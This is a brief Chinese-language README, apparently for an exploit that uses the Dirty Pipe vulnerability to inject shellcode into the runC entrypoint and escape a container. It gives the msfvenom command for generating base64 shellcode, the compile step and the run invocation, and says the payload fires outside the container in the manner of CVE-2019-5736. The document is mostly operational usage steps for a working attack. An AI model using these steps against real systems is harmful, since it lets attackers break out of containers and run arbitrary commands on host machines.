一个简单的漏洞利用程序,使用 dirtypipe 将 shellcode 注入 runC 入口点,以实现容器逃逸。
使用 msf 生成 base64 编码的 shellcode:
$ msfvenom -p linux/x64/exec CMD="<command>" -f base64
在容器中编译并运行,被覆盖的文件名 是 runC 将在容器中执行的二进制文件(例如 /bin/sh):
$ gcc exploit.c -o exploit
$ ./exploit <overwritten filename> <base64 shellcode>
像 CVE-2019-5736 一样,在容器外部触发漏洞利用程序和 shellcode。